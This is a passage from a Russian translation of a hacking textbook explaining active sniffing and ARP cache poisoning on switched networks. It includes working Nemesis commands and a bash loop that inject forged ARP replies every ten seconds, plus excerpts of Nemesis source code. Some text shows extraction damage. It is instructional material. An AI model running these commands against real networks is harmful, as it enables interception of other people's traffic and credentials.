Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
268 0x400Сетевое взаимодействие { Seq #: 2887045283 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 16 bytes of packet data 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test.. reader@hacking:
/booksrc $ Когда заголовки декодированы и разделены на уровни, понять работу соединений TCP/IP становится гораздо проще. Обратите внимание на связь IP-адресов с MAC-адресами. Кроме того, заметим, что порядко- вые номера в двух пакетах от 192.168.42.1 (первый и последний паке- ты) различаются на 9, потому что в первом пакете содержалось 9 байт фактических данных: 2 887 045 283 – 2 887 045 274 = 9. Это поле ис- пользуется протоколом TCP для обеспечения правильного порядка принимаемых данных, поскольку в силу разных причин пакеты могут поступать с задержками. Механизмы, встроенные в заголовки пакетов, не мешают последним быть видимыми любому, кто присутствует в данном сегменте сети. Та- кие протоколы, как FTP, POP3 и telnet, передают незашифрованные данные. Даже без инструментов вроде dsniff злоумышленник легко может перехватить передаваемые в пакетах имена пользователей и па- роли, после чего скомпрометировать другие машины. С точки зрения безопасности это не слишком хорошо, поэтому лучше использовать бо- лее интеллектуальные коммутаторы, поддерживающие коммутируе- мую сетевую среду. 0x444 Активный сниффинг В коммутируемой сетевой среде пакеты передаются только в тот порт, которому они предназначены в соответствии с MAC-адресом получате- ля. Для этого требуется более интеллектуальная аппаратура, способ- ная создавать и хранить таблицы, связывающие MAC-адреса с опреде- ленными портами в зависимости от того, какое устройство подключе- но к каждому порту, как показано на рис. 4.7. 00:00:00:BB:BB:BB 00:00:00:CC:CC:CC 00:00:00:AA:AA:AA 1 2 3 Коммутатор 00:00:00:AA:AA:AA Порт 1 – 00:00:00:BB:BB:BB Порт 2 – 00:00:00:CC:CC:CC Порт 3 – Порт/Таблица MACадресов Рис. 4.7. Связь MAC-адресов с определенными портами
0x440 Анализ сетевых пакетов (сниффинг) 269 Преимущество коммутируемой среды в том, что устройства получа- ют только те пакеты, которые им предназначены, поэтому устройства в неразборчивом режиме не могут перехватывать чужие пакеты. Но даже в коммутируемой среде можно применять искусные способы по- лучения чужих пакетов, просто они оказываются немного сложнее. Для такого хакинга надо изучить детали используемых протоколов, чтобы потом комбинировать их. Важный элемент передачи данных в сети, позволяющий получить лю- бопытные результаты, – адрес отправителя. Сетевые протоколы нико- им образом не гарантируют совпадение адреса отправителя в пакете с действительным адресом машины отправителя. Подделка адреса от- правителя в пакете называется спуфингом (spoofing). Добавление спу- финга в арсенал приемов значительно увеличивает возможности соз- дания хаков, поскольку в большинстве систем предполагается истин- ность адреса отправителя. Спуфинг – первый шаг в перехвате пакетов в коммутируемой сети. Еще две интересные детали обнаруживаются в ARP. Во-первых, если ответ ARP содержит адрес, который уже есть в кэше ARP, приемная систе- ма заменяет прежний MAC-адрес новым, полученным в ответе (если только запись в кэше ARP не была явно помечена как немодифициру- емая). Во-вторых, информация о состоянии ARP-трафика не хранит- ся, чтобы сберечь память и не усложнять простой протокол. Это приво- дит к тому, что система принимает ARP-ответ, даже если она не посы- лала ARP-запрос. Правильно воспользовавшись этими тремя особенностями, атакующий может перехватывать сетевой трафик в коммутируемой сети с помо- щью технологии, известной как ARP-переадресация (ARP redirection). Атакующий посылает ARP-ответы с фальшивыми адресами отправи- теля некоторым устройствам, в результате чего записи в ARP-кэше этих устройств заменяются данными, переданными атакующим. Эта технология называется порчей ARP-кэша (ARP cache poisoning). Для перехвата сетевого обмена данными между точками А и Б атакующий должен испортить ARP-кэш у A (A должен считать, что IP-адрес B со- ответствует MAC-адресу атакующего) и у Б (Б должен считать, что IP- адрес А тоже соответствует MAC-адресу атакующего). После этого ма- шина атакующего просто должна пересылать все пакеты их настоя- щему конечному получателю; весь трафик между А и Б доставляется адресату, но пройдя при этом через машину атакующего, как показа- но на схеме (рис. 4.8). Поскольку А и Б присоединяют свои Ethernet-заголовки к отправля- емым пакетам исходя из соответствующих кэшей ARP, то IP-пакеты А, предназначенные для Б, фактически отправляются по MAC-адресу атакующего, и наоборот. Коммутатор фильтрует трафик только на основе MAC-адресов, поэтому согласно своему предназначению будет отсылать IP-пакеты А и Б, направляемые по MAC-адресу атакующе-
270 0x400Сетевое взаимодействие го, в порт атакующего. После этого атакующий заменяет заголовки Ethernet-пакетов, содержащих IP-пакеты, правильными и направля- ет их обратно в коммутатор, который перешлет их настоящим адреса- там. Коммутатор работает правильно, просто атакующему удалось об- манным путем заставить атакуемые машины переадресовать свой тра- фик на его машину. IP: 192.168.0.137 MAC: 00:00:00:FA:CA:DE Система атакующего IP: 192.168.0.200 MAC: 00:00:00:BB:BB:BB IP: 192.168.0.100 MAC: 00:00:00:AA:AA:AA Система A Система Б Трафик к A Трафик к Б Внутренний ARP кэш: 192.168.0.200 at 00:00:00:FA:CA:DE Внутренний ARP кэш: 192.168.0.200 at 00:00:00:FA:CA:DE Внутренний ARP кэш: 192.168.0.100 at 00:00:00:AA:AA:AA 192.168.0.200 at 00:00:00:BB:BB:BB Рис. 4.8. Порча ARP-кэша В соответствии с установленными значениями тайм-аутов атакуемые машины периодически посылают настоящие ARP-запросы и получа- ют на них настоящие ARP-ответы. Чтобы атака переадресации не со- рвалась из-за этого, атакующий должен периодически снова портить ARP-кэши атакуемых машин. Для этого можно просто регулярно по- сылать поддельные ARP-ответы обеим машинам А и Б, например, каждые 10 секунд. Шлюз (gateway) – это система, которая направляет трафик из локаль- ной сети в Интернет. ARP-переадресация оказывается особенно ин- тересной, когда одна из атакованных машин оказывается шлюзом по умолчанию, потому что трафик между шлюзом по умолчанию и неко- торой системой и есть трафик этой системы в Интернете. Например, если машина с адресом 192.168.0.118 связана со шлюзом по адресу 192.168.0.1 через коммутатор, то трафик будет проходить только че- рез соответствующий MAC-адрес. Это означает, что обычными спосо- бами его нельзя перехватить даже в неразборчивом режиме. Для пере- хвата этого трафика его надо переадресовать. Чтобы переадресовать трафик, надо сначала узнать MAC-адреса для 192.168.0.118 и 192.168.0.1. Это можно сделать, пропинговав эти узлы, потому что при любой попытке IP-соединения будет задейство- ван ARP. Если запустить сниффер, можно увидеть ARP-пакеты, но ОС кэширует создаваемые привязки IP/MAC-адресов.
0x440 Анализ сетевых пакетов (сниффинг) 271 reader@hacking:/booksrc $ ping -c 1 -w 1 192.168.0.1 PING 192.168.0.1 (192.168.0.1): 56 octets data 64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms --- 192.168.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:/booksrc $ ping -c 1 -w 1 192.168.0.118 PING 192.168.0.118 (192.168.0.118): 56 octets data 64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms --- 192.168.0.118 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.4/0.4 ms reader@hacking:/booksrc $ arp -na ? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0 ? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0 reader@hacking:/booksrc $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1 RX packets:4153 errors:0 dropped:0 overruns:0 frame:0 TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb) Interrupt:9 Base address:0xc000 reader@hacking:/booksrc $ После пингования MAC-адреса обоих узлов 192.168.0.118 и 192.168.0.1 окажутся в ARP-кэше атакующего. Таким образом, можно отправлять пакеты истинному получателю после того, как они в результате переа- дресации попадут на машину атакующего. В предположении, что ядро скомпилировано с возможностью пересылки IP-пакетов, все, что те- перь требуется, – это отправка поддельных ARP-ответов через опреде- ленные промежутки времени. Узлу 192.168.0.118 требуется сообщить, что 192.168.0.1 имеет MAC-адрес 00:00:AD:D1:C7:ED, а узлу 192.168.0.1 – что 192.168.0.118 имеет тот же MAC-адрес 00:00:AD:D1:C7:ED. Инъек- цию поддельных ARP-пакетов можно осуществить из командной стро- ки с помощью утилиты для инъекции (ввода) пакетов под названием Nemesis. Nemesis изначально представляла собой комплект инстру- ментов, написанных Марком Граймзом (Mark Grimes), но в послед- ней версии 1.4 новый разработчик и руководитель проекта Джефф Натан (Jeff Nathan) объединил все функции в одной утилите. Исхо- дный код Nemesis находится на загрузочном диске 1 в каталоге /usr/src/ nemesis-1.4/, и эта программа уже собрана и установлена. reader@hacking:/booksrc $ nemesis NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26) 1 См. www.symbol.ru/library/hacking-2ed. – Прим. ред.
272 0x400Сетевое взаимодействие NEMESIS Usage: nemesis [mode] [options] NEMESIS modes: arp dns ethernet icmp igmp ip ospf (currently non-functional) rip tcp udp NEMESIS options: To display options, specify a mode with the option “help”. reader@hacking:/booksrc $ nemesis arp help ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) ARP/RARP Usage: arp [-v (verbose)] [options] ARP/RARP Options: -S
0x440 Анализ сетевых пакетов (сниффинг) 273 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB ARP Packet Injected reader@hacking:/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected reader@hacking:/booksrc $ Эти две команды фабрикуют ARP-ответы от 192.168.0.1 для 192.168. 0.118 и в обратном направлении, утверждая, что их MAC-адреса имеют зна- чение 00:00:AD:D1:C7:ED. Если повторять эти команды каждые десять се- кунд, то поддельные ARP-ответы будут поддерживать ARP-кэши в ис- порченном состоянии, вызывающем переадресацию трафика. В обыч- ной оболочке BASH можно составлять из команд скрипты, пользуясь известными управляющими структурами. В следующем примере про- стой бесконечный цикл while в оболочке посылает через каждые 10 се- кунд два ответа, портящие ARP-кэш. reader@hacking:/booksrc $ while true > do > sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30 > sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01 > echo “Redirecting...”
274 0x400Сетевое взаимодействие > sleep 10 > done ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.1 > 192.168.0.118 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26) [MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.0.118 > 192.168.0.1 [Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected Redirecting... Как видите, с помощью таких простых средств, как Nemesis и стан- дартная оболочка BASH, можно быстро смастерить сетевой эксплойт. Для формирования и ввода фальшивых пакетов Nemesis использует библиотеку C под названием libnet. Так же как и libpcap, эта библиоте- ка использует сокеты прямого доступа и прячет несовместимость меж- ду разными платформами за стандартным интерфейсом. Кроме того, в libnet есть несколько удобных функций для работы с сетевыми паке- тами, например для получения контрольных сумм. Библиотека libnet предоставляет простой и единообразный API для создания и инъекции сетевых пакетов. Она хорошо документирована, функциям даны содержательные имена. Взглянув на исходный код Nemesis, вы увидите, как просто формировать пакеты ARP с помощью libnet. В исходном коде nemesis-arp.c есть несколько функций для соз- дания и инъекции ARP-пакетов, использующие статически определен- ные структуры данных для хранения информации заголовков пакетов.
0x440 Анализ сетевых пакетов (сниффинг) 275 Приведенная ниже функция nemesis_arp() вызывается в nemesis.c, что- бы сформировать и ввести ARP-пакет. Фрагмент nemesis-arp.c static ETHERhdr etherhdr; static ARPhdr arphdr; void nemesis_arp(int argc, char **argv) { const char *module= “ARP/RARP Packet Injection”; nemesis_maketitle(title, module, version); if (argc > 1 && !strncmp(argv[1], “help”, 4)) arp_usage(argv[0]); arp_initdata(); arp_cmdline(argc, argv); arp_validatedata(); arp_verbose(); if (got_payload) { if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, (const u_int32_t)PAYLOADMODE) < 0) arp_exit(1); } if (buildarp(ðerhdr, &arphdr, &pd, device, reply) < 0) { printf(“\n%s Injection Failure\n”, (rarp == 0 ? “ARP” : “RARP”)); arp_exit(1); } else { printf(“\n%s Packet Injected\n”, (rarp == 0 ? “ARP” : “RARP”)); arp_exit(0); } } Структуры ETHERhdr и ARPhdr определены в файле nemesis.h (см. ниже) как синонимы для имеющихся в libnet структур данных. В языке C для создания синонимов типов данных применяется оператор typedef. Фрагмент nemesis.h typedef struct libnet_arp_hdr ARPhdr; typedef struct libnet_as_lsa_hdr ASLSAhdr; typedef struct libnet_auth_hdr AUTHhdr;
276 0x400Сетевое взаимодействие typedef struct libnet_dbd_hdr DBDhdr; typedef struct libnet_dns_hdr DNShdr; typedef struct libnet_ethernet_hdr ETHERhdr; typedef struct libnet_icmp_hdr ICMPhdr; typedef struct libnet_igmp_hdr IGMPhdr; typedef struct libnet_ip_hdr IPhdr; Функция nemesis_arp() вызывает ряд других функций из этого файла: arp_initdata() , arp_cmdline(), arp_validatedata() и arp_verbose(). По име- ни функции можно догадаться, что она инициализирует данные, обра- батывает аргументы командной строки, проверяет корректность дан- ных или выводит какие-то подробные сообщения. Функция arp_init- data() действительно инициализирует значения в статически опреде- ленных структурах данных. Приведенная ниже функция arp_initdata() записывает в различные элементы структур заголовков значения, соответствующие ARP- пакетам. Фрагмент nemesis-arp.c static void arp_initdata(void) { /* Значения по умолчанию */ etherhdr.ether_type = ETHERTYPE_ARP; /* Тип пакета Ethernet ARP */ memset(etherhdr.ether_shost, 0, 6); /* Адрес отправителя Ethernet */ memset(etherhdr.ether_dhost, 0xff, 6); /* Адрес получателя Ethernet */ arphdr.ar_op = ARPOP_REQUEST; /* Код операции ARP : запрос */ arphdr.ar_hrd = ARPHRD_ETHER; /* Код устройства: Ethernet */ arphdr.ar_pro = ETHERTYPE_IP; /* Код протокола: IP */ arphdr.ar_hln = 6; /* 6 байт физического адреса */ arphdr.ar_pln = 4; /* 4 байта логического адреса */ memset(arphdr.ar_sha, 0, 6); /* Физический адрес отправителя*/ memset(arphdr.ar_spa, 0, 4); /* Логический адрес отправителя */ memset(arphdr.ar_tha, 0, 6); /* Физический адрес получателя */ memset(arphdr.ar_tpa, 0, 4); /* Логический адрес получателя */ pd.file_mem = NULL; pd.file_s = 0; return; } Наконец, функция nemesis_arp() вызывает функцию buildarp(), пере- давая ей указатели на структуры заголовков. Судя по тому, как об- рабатывается возвращаемое ею значение, buildarp() формирует па- кет и вводит его. Эта функция есть в другом исходном файле, nemesis- proto_arp.c.